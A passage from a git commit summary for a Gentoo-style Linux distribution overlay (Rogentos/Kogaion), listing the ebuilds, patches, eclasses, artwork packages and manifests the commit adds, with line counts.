 .../kogaion-artwork-core-2.ebuild                  |   60 +
 x11-themes/kogaion-artwork-gnome/Manifest          |    1 +
 .../files/gnome-backgrounds.xml                    |  919 ++
 .../files/org.kogaion.gschema.override             |   22 +
 .../kogaion-artwork-gnome-1.0-r1.ebuild            |   66 +
 .../kogaion-artwork-gnome-1.0-r2.ebuild            |   71 +
 .../kogaion-artwork-gnome-1.0-r3.ebuild            |   71 +
 .../kogaion-artwork-gnome-1.0.ebuild               |   66 +
 x11-themes/kogaion-artwork-lxde/Manifest           |    5 +
 .../kogaion-artwork-lxde-1.1-r1.ebuild             |   38 +
 .../kogaion-artwork-lxde-1.1.ebuild                |   35 +
 .../kogaion-artwork-lxde-1.ebuild                  |   34 +
 x11-themes/kogaion-artwork-mate/Manifest           |    2 +
 .../files/org.mate.kogaion.gschema.override        |   16 +
 .../kogaion-artwork-mate-1.0.ebuild                |   45 +
 x11-themes/kogaion-dark-theme/Manifest             |    6 +
 .../kogaion-dark-theme-1.0.ebuild                  |   68 +
 .../kogaion-dark-theme-2.0.ebuild                  |   70 +
 .../kogaion-dark-theme-2.1.ebuild                  |   70 +
 x11-themes/kogaion-elementary-icons/Manifest       |    2 +
 .../kogaion-elementary-icons-1.0.ebuild            |   27 +
 x11-themes/kogaion-light-theme/Manifest            |    6 +
 .../kogaion-light-theme-1.0.ebuild                 |   68 +
 .../kogaion-light-theme-2.0.ebuild                 |   70 +
 .../kogaion-light-theme-2.1.ebuild                 |   70 +
 x11-themes/mediterranean-night/Manifest            |    2 +
 .../mediterranean-night-2.03.ebuild                |   38 +
 x11-themes/pacifica-icon-theme/Manifest            |    2 +
 .../pacifica-icon-theme-1.0.ebuild                 |   27 +
 x11-themes/pidgin-penguins-smileys/ChangeLog       |    9 +
 x11-themes/pidgin-penguins-smileys/Manifest        |   24 +
 x11-themes/pidgin-penguins-smileys/metadata.xml    |    7 +
 .../pidgin-penguins-smileys-1.0.ebuild             |   27 +
 x11-themes/pidgin-smileys/ChangeLog                |   57 +
 x11-themes/pidgin-smileys/Manifest                 |   42 +
 x11-themes/pidgin-smileys/metadata.xml             |    7 +
 .../pidgin-smileys/pidgin-smileys-20080819.ebuild  |   50 +
 .../pidgin-smileys/pidgin-smileys-20100821.ebuild  |   52 +
 x11-themes/rogentos-artwork-core/Manifest          |    4 +
 .../rogentos-artwork-core-1.ebuild                 |   53 +
 .../rogentos-artwork-core-2.1.ebuild               |   72 +
 .../rogentos-artwork-core-2.2.ebuild               |   71 +
 .../rogentos-artwork-core-2.ebuild                 |   63 +
 x11-themes/rogentos-artwork-extra/Manifest         |    2 +
 .../rogentos-artwork-extra-1.ebuild                |   32 +
 x11-themes/rogentos-artwork-grub/Manifest          |    7 +
 .../rogentos-artwork-grub-1.ebuild                 |   32 +
 .../rogentos-artwork-grub-2-r1.ebuild              |   32 +
 .../rogentos-artwork-grub-2.1.ebuild               |   32 +
 .../rogentos-artwork-grub-2.ebuild                 |   32 +
 x11-themes/rogentos-artwork-isolinux/Manifest      |    7 +
 .../rogentos-artwork-isolinux-1.ebuild             |   28 +
 .../rogentos-artwork-isolinux-2-r1.ebuild          |   28 +
 .../rogentos-artwork-isolinux-2.1.ebuild           |   28 +
 .../rogentos-artwork-isolinux-2.ebuild             |   28 +
 x11-themes/rogentos-artwork-kde/Manifest           |    3 +
 .../files/5.4-hotfixes/rogentos.xml                |  159 +
 .../rogentos-artwork-kde-1.ebuild                  |   44 +
 .../rogentos-artwork-loo-1.ebuild                  |   31 +
 x11-themes/rogentos-artwork-lxde/Manifest          |    2 +
 .../rogentos-artwork-lxde-1.ebuild                 |   32 +
 x11-themes/rogentos-artwork-resplash/Manifest      |    2 +
 .../rogentos-artwork-resplash-1.1.ebuild           |   46 +
 .../rogentos-artwork-resplash-1.ebuild             |   45 +
 x11-themes/tango-icon-theme/Manifest               |    4 +
 x11-themes/tango-icon-theme/metadata.xml           |    8 +
 .../tango-icon-theme-0.8.90.ebuild                 |   72 +
 x11-themes/zukitwo-brave/Manifest                  |    2 +
 x11-themes/zukitwo-brave/zukitwo-brave-0.1.ebuild  |   66 +
 x11-wm/awemenugen/Manifest                         |    2 +
 x11-wm/awemenugen/awemenugen-20120205.ebuild       |   36 +
 xfce-extra/thunar-dropbox/Manifest                 |    3 +
 .../files/thunar-dropbox-0.2.0-wscript.patch       |   36 +
 .../thunar-dropbox/thunar-dropbox-0.2.0.ebuild     |   43 +
 xfce-extra/xfce4-messenger-plugin/Manifest         |    5 +
 .../xfce4-messenger-plugin-0.1.0-r1.ebuild         |   48 +
 .../xfce4-messenger-plugin-0.1.0.ebuild            |   47 +
 1508 files changed, 215128 insertions(+)
 create mode 100644 README
 create mode 100644 app-admin/anaconda/Manifest
 create mode 100644 app-admin/anaconda/anaconda-9999.ebuild
 create mode 100644 app-admin/anaconda/files/compat.py
 create mode 100644 app-admin/anaconda/files/liveinst
 create mode 100644 app-admin/anaconda/files/make_liveinst_update_package.sh
 create mode 100644 app-admin/butonasvesel/Manifest
 create mode 100644 app-admin/butonasvesel/butonasvesel-1.ebuild
 create mode 100644 app-admin/conky-full/Manifest
 create mode 100644 app-admin/conky-full/conky-full-1.9.0.ebuild
 create mode 100644 app-admin/conky-full/files/conky-1.8.1-acpitemp.patch
 create mode 100644 app-admin/conky-full/files/conky-1.8.1-battery-time.patch
 create mode 100644 app-admin/conky-full/files/conky-1.8.1-curl-headers.patch
 create mode 100644 app-admin/conky-full/files/conky-1.8.1-lua-5.2.patch
 create mode 100644 app-admin/conky-full/files/conky-1.8.1-maxinterfaces.patch
 create mode 100644 app-admin/conky-full/files/conky-1.8.1-nvidia-x.patch
 create mode 100644 app-admin/conky-full/files/conky-1.8.1-secunia-SA43225.patch
 create mode 100644 app-admin/conky-full/files/conky-1.8.1-utf8-scroll.patch
 create mode 100644 app-admin/conky-full/files/conky-1.8.1-xmms2.patch
 create mode 100644 app-admin/conky-full/files/conky-1.9.0-ncurses.patch
 create mode 100644 app-admin/conky/Manifest
 create mode 100644 app-admin/conky/conky-1.8.1-r6.ebuild
 create mode 100644 app-admin/conky/conky-1.9.0.ebuild
 create mode 100644 app-admin/conky/files/conky-1.8.1-acpitemp.patch
 create mode 100644 app-admin/conky/files/conky-1.8.1-battery-time.patch
 create mode 100644 app-admin/conky/files/conky-1.8.1-curl-headers.patch
 create mode 100644 app-admin/conky/files/conky-1.8.1-lua-5.2.patch
 create mode 100644 app-admin/conky/files/conky-1.8.1-maxinterfaces.patch
 create mode 100644 app-admin/conky/files/conky-1.8.1-nvidia-x.patch
 create mode 100644 app-admin/conky/files/conky-1.8.1-secunia-SA43225.patch
 create mode 100644 app-admin/conky/files/conky-1.8.1-utf8-scroll.patch
 create mode 100644 app-admin/conky/files/conky-1.8.1-xmms2.patch
 create mode 100644 app-admin/conky/files/conky-1.9.0-ncurses.patch
 create mode 100644 app-admin/conky/metadata.xml
 create mode 100644 app-admin/eselect-lightdm/Manifest
 create mode 100644 app-admin/eselect-lightdm/eselect-lightdm-0.2.ebuild
 create mode 100644 app-admin/eselect-lightdm/files/lightdm-0.2.eselect
 create mode 100644 app-admin/example1/Manifest
 create mode 100644 app-admin/example1/example1-2012.ebuild
 create mode 100644 app-admin/example2/Manifest
 create mode 100644 app-admin/example2/example2-1.0.ebuild
 create mode 100644 app-admin/example2/example2-1.1.ebuild
 create mode 100644 app-admin/example2/files/patch-1.0.patch
 create mode 100644 app-admin/example2/files/patch-1.1.patch
 create mode 100644 app-admin/kernel-schimbare/Manifest
 create mode 100644 app-admin/kernel-schimbare/kernel-schimbare-1.ebuild
 create mode 100644 app-admin/kernel-schimbare/kernel-schimbare-2.ebuild
 create mode 100644 app-admin/minus-desktop-tool/Manifest
 create mode 100644 app-admin/minus-desktop-tool/minus-desktop-tool-1.8.ebuild
 create mode 100644 app-admin/our-archive/Manifest
 create mode 100644 app-admin/our-archive/files/creation-1.patch
 create mode 100644 app-admin/our-archive/our-archive-1.01.ebuild
 create mode 100644 app-admin/our-archive/our-archive-1.ebuild
 create mode 100644 app-admin/rose-installer/Manifest
 create mode 100644 app-admin/rose-installer/files/RoSeInstaller.desktop
 create mode 100644 app-admin/rose-installer/files/rose-installer.png
 create mode 100644 app-admin/rose-installer/rose-installer-1.0.ebuild
 create mode 100644 app-admin/stability-watcher/Manifest
 create mode 100644 app-admin/stability-watcher/files/07-rogentos-packages.mask
 create mode 100644 app-admin/stability-watcher/files/entropy_sabayonlinux.org
 create mode 100644 app-admin/stability-watcher/stability-watcher-0.1.ebuild
 create mode 100644 app-editors/emacs/Manifest
 create mode 100644 app-editors/emacs/emacs-24.2.ebuild
 create mode 100644 app-editors/liteide/Manifest
 create mode 100644 app-editors/liteide/liteide-9999.ebuild
 create mode 100644 app-emulation/packettracer/Manifest
 create mode 100644 app-emulation/packettracer/packettracer-533.ebuild
 create mode 100644 app-emulation/playonlinux/Manifest
 create mode 100644 app-emulation/playonlinux/playonlinux-4.1.0.ebuild
 create mode 100644 app-emulation/playonlinux/playonlinux-4.1.1.ebuild
 create mode 100644 app-emulation/playonlinux/playonlinux-4.1.3.ebuild
 create mode 100644 app-emulation/playonlinux/playonlinux-4.1.4.ebuild
 create mode 100644 app-emulation/playonlinux/playonlinux-4.1.5.ebuild
 create mode 100644 app-emulation/playonlinux/playonlinux-4.1.6.ebuild
 create mode 100644 app-emulation/playonlinux/playonlinux-4.1.8.ebuild
 create mode 100644 app-emulation/playonlinux/playonlinux-4.2.1.ebuild
 create mode 100644 app-emulation/steam/Manifest
 create mode 100644 app-emulation/steam/steam-1.0.0.45.ebuild
 create mode 100644 app-misc/anaconda-runtime/Manifest
 create mode 100644 app-misc/anaconda-runtime/anaconda-runtime-1.1-r1.ebuild
 create mode 100644 app-misc/anaconda-runtime/anaconda-runtime-1.1-r3.ebuild
 create mode 100644 app-misc/haguichi/Manifest
 create mode 100644 app-misc/haguichi/haguichi-1.0.17.ebuild
 create mode 100644 app-misc/rogentos-live/rogentos-live-1.ebuild
 create mode 100644 app-misc/rogentos-live/rogentos-live-2-r1.ebuild
 create mode 100644 app-misc/rogentos-live/rogentos-live-2.ebuild
 create mode 100644 app-misc/rogentos-skel/Manifest
 create mode 100644 app-misc/rogentos-skel/rogentos-skel-1.ebuild
 create mode 100644 app-misc/rogentos-version/Manifest
 create mode 100644 app-misc/rogentos-version/files/00-sabayon-anti-fork-bomb.conf
 create mode 100644 app-misc/rogentos-version/rogentos-version-1.ebuild
 create mode 100644 app-misc/rogentoslive-tools/Manifest
 create mode 100755 app-misc/rogentoslive-tools/files/1.0/bashlogin
 create mode 100644 app-misc/rogentoslive-tools/files/1.0/cdeject
 create mode 100755 app-misc/rogentoslive-tools/files/1.0/installer-gui
 create mode 100755 app-misc/rogentoslive-tools/files/1.0/installer-text
 create mode 100755 app-misc/rogentoslive-tools/files/1.0/livecd-functions.sh
 create mode 100644 app-misc/rogentoslive-tools/files/1.0/livespawn
 create mode 100755 app-misc/rogentoslive-tools/files/1.0/logscript.sh
 create mode 100755 app-misc/rogentoslive-tools/files/1.0/net-setup
 create mode 100755 app-misc/rogentoslive-tools/files/1.0/opengl-activator
 create mode 100755 app-misc/rogentoslive-tools/files/1.0/rogentos-functions.sh
 create mode 100755 app-misc/rogentoslive-tools/files/1.0/rogentos-welcome-loader
 create mode 100644 app-misc/rogentoslive-tools/files/1.0/rogentos-welcome-loader.desktop
 create mode 100755 app-misc/rogentoslive-tools/files/1.0/rogentoslive
 create mode 100644 app-misc/rogentoslive-tools/files/1.0/sabayon-live-check
 create mode 100755 app-misc/rogentoslive-tools/files/1.0/sabutil
 create mode 100644 app-misc/rogentoslive-tools/files/1.0/vga-cmd-parser
 create mode 100644 app-misc/rogentoslive-tools/files/1.0/x-setup-configuration
 create mode 100755 app-misc/rogentoslive-tools/files/1.0/x-setup-init.d
 create mode 100644 app-misc/rogentoslive-tools/files/1.0/xorg.conf.d/90-fglrx-12.1-and-older-workaround.conf
 create mode 100644 app-misc/rogentoslive-tools/files/1.0/xorg.conf.d/90-synaptics.conf
 create mode 100644 app-misc/rogentoslive-tools/files/1.0/xorg.conf.rogentos
 create mode 100644 app-misc/rogentoslive-tools/files/2/bashlogin
 create mode 100644 app-misc/rogentoslive-tools/files/2/cdeject
 create mode 100644 app-misc/rogentoslive-tools/files/2/cdeject.service
 create mode 100644 app-misc/rogentoslive-tools/files/2/cdeject.sh
 create mode 100644 app-misc/rogentoslive-tools/files/2/installer-gui
 create mode 100644 app-misc/rogentoslive-tools/files/2/installer-gui.service
 create mode 100644 app-misc/rogentoslive-tools/files/2/installer-gui.sh
 create mode 100644 app-misc/rogentoslive-tools/files/2/installer-text
 create mode 100644 app-misc/rogentoslive-tools/files/2/installer-text.service
 create mode 100644 app-misc/rogentoslive-tools/files/2/installer-text.sh
 create mode 100644 app-misc/rogentoslive-tools/files/2/livecd-functions.sh
 create mode 100644 app-misc/rogentoslive-tools/files/2/livespawn
 create mode 100644 app-misc/rogentoslive-tools/files/2/logscript.sh
 create mode 100644 app-misc/rogentoslive-tools/files/2/net-setup
 create mode 100644 app-misc/rogentoslive-tools/files/2/rogentos-functions.sh
 create mode 100644 app-misc/rogentoslive-tools/files/2/rogentos-live-check
 create mode 100644 app-misc/rogentoslive-tools/files/2/rogentos-welcome-loader
 create mode 100644 app-misc/rogentoslive-tools/files/2/rogentos-welcome-loader.desktop
 create mode 100644 app-misc/rogentoslive-tools/files/2/rogentoslive
 create mode 100644 app-misc/rogentoslive-tools/files/2/rogentoslive.service
 create mode 100644 app-misc/rogentoslive-tools/files/2/rogentoslive.sh
 create mode 100644 app-misc/rogentoslive-tools/files/2/sabutil
 create mode 100644 app-misc/rogentoslive-tools/files/2/vga-cmd-parser
 create mode 100644 app-misc/rogentoslive-tools/files/2/x-setup-configuration
 create mode 100644 app-misc/rogentoslive-tools/files/2/x-setup-init.d
 create mode 100644 app-misc/rogentoslive-tools/files/2/x-setup.service
 create mode 100644 app-misc/rogentoslive-tools/files/2/x-setup.sh
 create mode 100644 app-misc/rogentoslive-tools/rogentoslive-tools-1.0-r1.ebuild
 create mode 100644 app-misc/rogentoslive-tools/rogentoslive-tools-2.ebuild
 create mode 100644 app-misc/sabayon-mce/Manifest
 create mode 100644 app-misc/sabayon-mce/files/1.1/bin/sabayon-mce-session
 create mode 100644 app-misc/sabayon-mce/files/1.1/bin/sabayon-mce-start
 create mode 100644 app-misc/sabayon-mce/files/1.1/bin/sabayon-mce-startx
 create mode 100644 app-misc/sabayon-mce/files/1.1/init.d/sabayon-mce
 create mode 100644 app-misc/sabayon-mce/files/1.1/xsession/sabayon-mce.desktop
 create mode 100644 app-misc/sabayon-mce/sabayon-mce-1.1-r1.ebuild
 create mode 100644 app-pda/ifuse/ChangeLog
 create mode 100644 app-pda/ifuse/Manifest
 create mode 100644 app-pda/ifuse/ifuse-1.1.2.ebuild
 create mode 100644 app-pda/ifuse/ifuse-9999.ebuild
 create mode 100644 app-pda/ifuse/metadata.xml
 create mode 100644 app-text/evince-light/ChangeLog
 create mode 100644 app-text/evince-light/Manifest
 create mode 100644 app-text/evince-light/evince-2.32.0-r3.ebuild
 create mode 100644 app-text/evince-light/evince-2.32.0-r4.ebuild
 create mode 100644 app-text/evince-light/evince-3.2.1-r1.ebuild
 create mode 100644 app-text/evince-light/evince-light-3.4.0.ebuild
 create mode 100644 app-text/evince-light/files/evince-0.7.1-display-menu.patch
 create mode 100644 app-text/evince-light/files/evince-2.32.0-create_thumbnail_frame-null.patch
 create mode 100644 app-text/evince-light/files/evince-2.32.0-desktop-categories.patch
 create mode 100644 app-text/evince-light/files/evince-2.32.0-dvi-CVEs.patch
 create mode 100644 app-text/evince-light/files/evince-2.32.0-dvi-security.patch
 create mode 100644 app-text/evince-light/files/evince-2.32.0-gold.patch
 create mode 100644 app-text/evince-light/files/evince-2.32.0-libdocument-segfault.patch
 create mode 100644 app-text/evince-light/files/evince-2.32.0-libview-crash.patch
 create mode 100644 app-text/evince-light/files/evince-2.32.0-pk-fonts.patch
 create mode 100644 app-text/evince-light/files/evince-2.32.0-stop-spinner.patch
 create mode 100644 app-text/evince-light/files/evince-2.32.0-update-poppler.patch
 create mode 100644 app-text/evince-light/files/evince-2.32.0-use-popup.patch
 create mode 100644 app-text/evince-light/files/evince-3.2.1-glib-gold.patch
 create mode 100644 app-text/evince-light/files/evince-3.2.1-libgxps-0.2.patch
 create mode 100644 app-text/evince-light/files/evince-3.4.0-glib-gold.patch
 create mode 100644 app-text/evince-light/files/gconf-2.m4
 create mode 100644 app-text/evince-light/metadata.xml
 create mode 100644 app-text/foxitreader/Manifest
 create mode 100644 app-text/foxitreader/files/foxitreader.desktop
 create mode 100644 app-text/foxitreader/files/foxitreader.png
 create mode 100644 app-text/foxitreader/foxitreader-1.1.0.ebuild
 create mode 100644 app-text/foxitreader/metadata.xml
 create mode 100644 app-text/xpdf/Manifest
 create mode 100644 app-text/xpdf/files/xpdf-3.02-poppler-0.16.patch
 create mode 100644 app-text/xpdf/files/xpdf-3.03-poppler-0.16.patch
 create mode 100644 app-text/xpdf/xpdf-3.03.ebuild
 create mode 100644 dev-java/eclipse-ecj/ChangeLog
 create mode 100644 dev-java/eclipse-ecj/Manifest
 create mode 100644 dev-java/eclipse-ecj/eclipse-ecj-3.3.0-r3.ebuild
 create mode 100644 dev-java/eclipse-ecj/eclipse-ecj-3.4-r4.ebuild
 create mode 100644 dev-java/eclipse-ecj/eclipse-ecj-3.5.2.ebuild
 create mode 100644 dev-java/eclipse-ecj/eclipse-ecj-3.6.ebuild
 create mode 100644 dev-java/eclipse-ecj/eclipse-ecj-3.7.1.ebuild
 create mode 100644 dev-java/eclipse-ecj/eclipse-ecj-3.7.2.ebuild
 create mode 100644 dev-java/eclipse-ecj/files/eclipse-ecj-3.3.0-gcj.patch
 create mode 100644 dev-java/eclipse-ecj/metadata.xml
 create mode 100644 dev-lang/smlnj/Manifest
 create mode 100644 dev-lang/smlnj/smlnj-110.75.ebuild
 create mode 100644 dev-python/gdk-pixbuf/GENTOO
 create mode 100644 dev-python/gdk-pixbuf/Manifest
 create mode 100644 dev-python/gdk-pixbuf/files/gdk-pixbuf-2.21.4-fix-automagic-x11.patch
 create mode 100644 dev-python/gdk-pixbuf/gdk-pixbuf-2.24.0-r1.ebuild
 create mode 100644 dev-python/gdk-pixbuf/metadata.xml
 create mode 100644 dev-python/pymaxe/Manifest
 create mode 100644 dev-python/pymaxe/pymaxe-20130303.ebuild
 create mode 100644 dev-python/pysmbc/Manifest
 create mode 100644 dev-python/pysmbc/pysmbc-1.0.13.ebuild
 create mode 100644 dev-python/pyvlc/Manifest
 create mode 100644 dev-python/pyvlc/pyvlc-1.0.ebuild
 create mode 100644 dev-python/pyvlc/pyvlc-9999.ebuild
 create mode 100644 dev-python/qtstatemachine/Manifest
 create mode 100644 dev-python/qtstatemachine/files/qstatemachines_add_CMake_support.patch_003
 create mode 100644 dev-python/qtstatemachine/files/qstatemachines_fix_compound_state.patch_002
 create mode 100644 dev-python/qtstatemachine/files/qstatemachines_fix_history.patch_001
 create mode 100644 dev-python/qtstatemachine/qtstatemachine-1.1-r1.ebuild
 create mode 100644 dev-python/qtstatemachine/qtstatemachine-1.1.ebuild
 create mode 100755 do-artwork-bump.sh
 create mode 100644 eclass/avahi.eclass
 create mode 100644 eclass/compat-drivers-3.7.eclass
 create mode 100644 eclass/compat-drivers-3.8-r1.eclass
 create mode 100644 eclass/compat-drivers-3.8.eclass
 create mode 100644 eclass/kde-l10n.eclass
 create mode 100644 eclass/kogaion-artwork.eclass
 create mode 100644 eclass/libreoffice-l10n-2.eclass
 create mode 100644 eclass/libreoffice-l10n.eclass
 create mode 100644 eclass/openoffice-l10n.eclass
 create mode 100644 eclass/rogentos-artwork.eclass
 create mode 100644 eclass/rogentos-kernel.eclass
 create mode 100644 eclass/sabayon-artwork.eclass
 create mode 100644 eclass/sabayon-kernel.eclass
 create mode 100644 eclass/spl-zfs-kernel.eclass
 create mode 100644 eclass/spl-zfs-userspace.eclass
 create mode 100644 eclass/transmission-2.51.eclass
 create mode 100644 eclass/transmission-2.52.eclass
 create mode 100644 eclass/webapp.eclass
 create mode 100644 games-emulation/mednafen/ChangeLog
 create mode 100644 games-emulation/mednafen/Manifest
 create mode 100644 games-emulation/mednafen/files/mednafen-0.9.21-zlib.patch
 create mode 100644 games-emulation/mednafen/files/mednafen-0.9.28-automake-1.13.patch
 create mode 100644 games-emulation/mednafen/files/mednafen-0.9.28-cflags.patch
 create mode 100644 games-emulation/mednafen/files/mednafen-0.9.28-zlib.patch
 create mode 100644 games-emulation/mednafen/mednafen-0.9.21.ebuild
 create mode 100644 games-emulation/mednafen/mednafen-0.9.28.ebuild
 create mode 100644 games-emulation/mednafen/mednafen/ChangeLog
 create mode 100644 games-emulation/mednafen/mednafen/Manifest
 create mode 100644 games-emulation/mednafen/mednafen/files/mednafen-0.9.21-zlib.patch
 create mode 100644 games-emulation/mednafen/mednafen/files/mednafen-0.9.28-automake-1.13.patch
 create mode 100644 games-emulation/mednafen/mednafen/files/mednafen-0.9.28-cflags.patch
 create mode 100644 games-emulation/mednafen/mednafen/files/mednafen-0.9.28-zlib.patch
 create mode 100644 games-emulation/mednafen/mednafen/mednafen/ChangeLog
 create mode 100644 games-emulation/mednafen/metadata.xml
 create mode 100644 games-fps/redeclipse/Manifest
 create mode 100644 games-fps/redeclipse/redeclipse-1.1.ebuild
 create mode 100644 games-fps/redeclipse/redeclipse-1.3.1.ebuild
 create mode 100644 games-strategy/0ad/0ad-11339.ebuild
 create mode 100644 games-strategy/0ad/0ad-11863.ebuild
 create mode 100644 games-strategy/0ad/0ad-99999.ebuild
 create mode 100644 games-strategy/0ad/Manifest
 create mode 100644 games-strategy/0ad/files/11339_alpha_disable_nvtt.patch
 create mode 100644 games-strategy/0ad/files/premake-archless.patch
 create mode 100644 games-strategy/0ad/files/premake-script-archless.patch
 create mode 100644 games-strategy/0ad/files/r11339_noCUDAdep.diff
 create mode 100644 games-strategy/dunelegacy/Manifest
 create mode 100644 games-strategy/dunelegacy/dunelegacy-0.96.2.ebuild
 create mode 100644 games-strategy/stargus/Manifest
 create mode 100644 games-strategy/stargus/stargus-2.2.7.ebuild
 create mode 100644 games-strategy/unknown-horizons/Manifest
 create mode 100644 games-strategy/unknown-horizons/unknown-horizons-2011.2.ebuild
 create mode 100644 games-strategy/unknown-horizons/unknown-horizons-2012.1.ebuild
 create mode 100644 games-strategy/zod-engine/Manifest
 create mode 100644 games-strategy/zod-engine/files/zod-engine-20110906-proper-linux-support.patch
 create mode 100644 games-strategy/zod-engine/zod-engine-20110906.ebuild
 create mode 100644 games-tycoon/LinuxTycoon/LinuxTycoon-1.0.ebuild
 create mode 100644 games-tycoon/LinuxTycoon/Manifest
 create mode 100644 gnome-base/gnome-core-apps/ChangeLog
 create mode 100644 gnome-base/gnome-core-apps/Manifest
 create mode 100644 gnome-base/gnome-core-apps/gnome-core-apps-3.6.2-r1.ebuild
 create mode 100644 gnome-base/gnome-core-apps/gnome-core-apps-3.6.2.ebuild
 create mode 100644 gnome-base/gnome-core-apps/metadata.xml
 create mode 100644 gnome-base/gnome/ChangeLog
 create mode 100644 gnome-base/gnome/Manifest
 create mode 100644 gnome-base/gnome/gnome-2.32.1-r2.ebuild
 create mode 100644 gnome-base/gnome/gnome-3.4.1.ebuild
 create mode 100644 gnome-base/gnome/gnome-3.6.2-r1.ebuild
 create mode 100644 gnome-base/gnome/gnome-3.6.2.ebuild
 create mode 100644 gnome-base/gnome/metadata.xml
 create mode 100644 kde-base/oxygen-icons/Manifest
 create mode 100644 kde-base/oxygen-icons/metadata.xml
 create mode 100644 kde-base/oxygen-icons/oxygen-icons-4.10.4.ebuild
 create mode 100644 kde-base/oxygen-icons/oxygen-icons-4.9.0.ebuild
 create mode 100644 kde-base/oxygen-icons/oxygen-icons-4.9.1.ebuild
 create mode 100644 kde-base/oxygen-icons/oxygen-icons-4.9.2.ebuild
 create mode 100644 kde-base/oxygen-icons/oxygen-icons-4.9.3.ebuild
 create mode 100644 lxde-base/lxdm/Manifest
 create mode 100644 lxde-base/lxdm/files/lxdm-0.4.1-configure-add-pam.patch
 create mode 100644 lxde-base/lxdm/files/lxdm-0.4.1-fix-event-check-bug.patch
 create mode 100644 lxde-base/lxdm/files/lxdm-0.4.1-fix-pam-100-cpu.patch
 create mode 100644 lxde-base/lxdm/files/lxdm-0.4.1-fix-session-args.patch
 create mode 100644 lxde-base/lxdm/files/lxdm-0.4.1-git-fix-null-pointer-deref.patch
 create mode 100644 lxde-base/lxdm/files/lxdm-0.4.1-missing-pam-defines.patch
 create mode 100644 lxde-base/lxdm/files/lxdm-0.4.1-optional-consolekit.patch
 create mode 100644 lxde-base/lxdm/files/lxdm-0.4.1-pam-use-system-local-login.patch
 create mode 100644 lxde-base/lxdm/files/lxdm-0.4.1-pam_console-disable.patch
 create mode 100644 lxde-base/lxdm/files/lxdm-0.4.1-rogentos-1-theme.patch
 create mode 100644 lxde-base/lxdm/files/lxdm-0.4.1-rogentos-conf.patch
 create mode 100644 lxde-base/lxdm/files/lxdm.service
 create mode 100644 lxde-base/lxdm/files/xinitrc
 create mode 100644 lxde-base/lxdm/lxdm-0.4.1-r7.ebuild
 create mode 100644 lxde-base/lxdm/lxdm-0.4.1-r8.ebuild
 create mode 100644 lxde-base/lxdm/metadata.xml
 create mode 100644 mail-filter/bogofilter/ChangeLog
 create mode 100644 mail-filter/bogofilter/Manifest
 create mode 100644 mail-filter/bogofilter/bogofilter-1.2.2.ebuild
 create mode 100644 mail-filter/bogofilter/bogofilter-1.2.3.ebuild
 create mode 100644 mail-filter/bogofilter/files/bogofilter-1.2.2-gcc34.patch
 create mode 100644 mail-filter/bogofilter/metadata.xml
 create mode 100644 media-gfx/CodeAnalyst/CodeAnalyst-3.4.18_pre0418.ebuild
 create mode 100644 media-gfx/CodeAnalyst/Manifest
 create mode 100644 media-gfx/freecad/Manifest
 create mode 100644 media-gfx/freecad/files/freecad-0.12.5284-boost148.patch
 create mode 100644 media-gfx/freecad/files/freecad-0.12.5284-gcc46.patch
 create mode 100644 media-gfx/freecad/files/freecad-0.12.5284-glu.patch
 create mode 100644 media-gfx/freecad/files/freecad-0.12.5284-no-3rdParty.patch
 create mode 100644 media-gfx/freecad/files/freecad-0.12.5284-no-permissive.patch
 create mode 100644 media-gfx/freecad/files/freecad-0.12.5284-nodir.patch
 create mode 100644 media-gfx/freecad/files/freecad-0.12.5284-nopivy.patch
 create mode 100644 media-gfx/freecad/files/freecad-0.12.5284-occ-6.5.5.patch
 create mode 100644 media-gfx/freecad/files/freecad-0.12.5284-qt3support.patch
 create mode 100644 media-gfx/freecad/files/freecad-0.12.5284-removeoldswig.patch
 create mode 100644 media-gfx/freecad/files/freecad-0.12.5284-salomesmesh-occ-6.5.5.patch
 create mode 100644 media-gfx/freecad/files/freecad-0.13.1830-remove-qt3-support.patch
 create mode 100644 media-gfx/freecad/freecad-0.12.5284-r2.ebuild
 create mode 100644 media-gfx/freecad/freecad-0.12.5284-r3.ebuild
 create mode 100644 media-gfx/freecad/freecad-0.13.1830.ebuild
 create mode 100644 media-gfx/freecad/freecad-9999.ebuild
 create mode 100644 media-sound/djplay/Manifest
 create mode 100644 media-sound/djplay/djplay-0.5.0.ebuild
 create mode 100644 media-sound/teamspeak-client-bin/ChangeLog
 create mode 100644 media-sound/teamspeak-client-bin/Manifest
 create mode 100644 media-sound/teamspeak-client-bin/files/teamspeak3
 create mode 100644 media-sound/teamspeak-client-bin/metadata.xml
 create mode 100644 media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.0_rc1.ebuild
 create mode 100644 media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.10.ebuild
 create mode 100644 media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.13.1.ebuild
 create mode 100644 media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.6.ebuild
 create mode 100644 media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.8.1.ebuild
 create mode 100644 media-sound/teamspeak-client-bin/teamspeak-client-bin-3.0.9.2.ebuild
 create mode 100644 media-tv/sopcast-player/Manifest
 create mode 100644 media-tv/sopcast-player/sopcast-player-0.8.5.ebuild
 create mode 100644 media-tv/sp-auth/Manifest
 create mode 100644 media-tv/sp-auth/sp-auth-3.2.6.ebuild
 create mode 100644 media-tv/xbmc/Manifest
 create mode 100644 media-tv/xbmc/files/xbmc-10.0-python-2.7.patch
 create mode 100644 media-tv/xbmc/files/xbmc-10.1-gcc-4.6.patch
 create mode 100644 media-tv/xbmc/files/xbmc-10.1-headers.patch
 create mode 100644 media-tv/xbmc/files/xbmc-10.1-libpng-1.5.patch
 create mode 100644 media-tv/xbmc/files/xbmc-11.0-libpng-1.5.patch
 create mode 100644 media-tv/xbmc/files/xbmc-11.0-no-exec-stack.patch
 create mode 100644 media-tv/xbmc/files/xbmc-11.0_beta1-libpng-1.5-fix-plt-trn-get.patch
 create mode 100644 media-tv/xbmc/files/xbmc-11.0_beta1-libpng-1.5-headers.patch
 create mode 100644 media-tv/xbmc/files/xbmc-11.0_beta1-libpng-1.5.patch
 create mode 100644 media-tv/xbmc/files/xbmc-9.11-TexturePacker-parallel-build.patch
 create mode 100644 media-tv/xbmc/files/xbmc-9.11-jpeg-speedup.patch
 create mode 100644 media-tv/xbmc/files/xbmc-9.11-libpng14.patch
 create mode 100644 media-tv/xbmc/files/xbmc-9.11-shader-upscalers.patch
 create mode 100644 media-tv/xbmc/files/xbmc-9.11-use-cdio-system-headers-on-non-win32.patch
 create mode 100644 media-tv/xbmc/files/xbmc-9.11-wavpack.patch
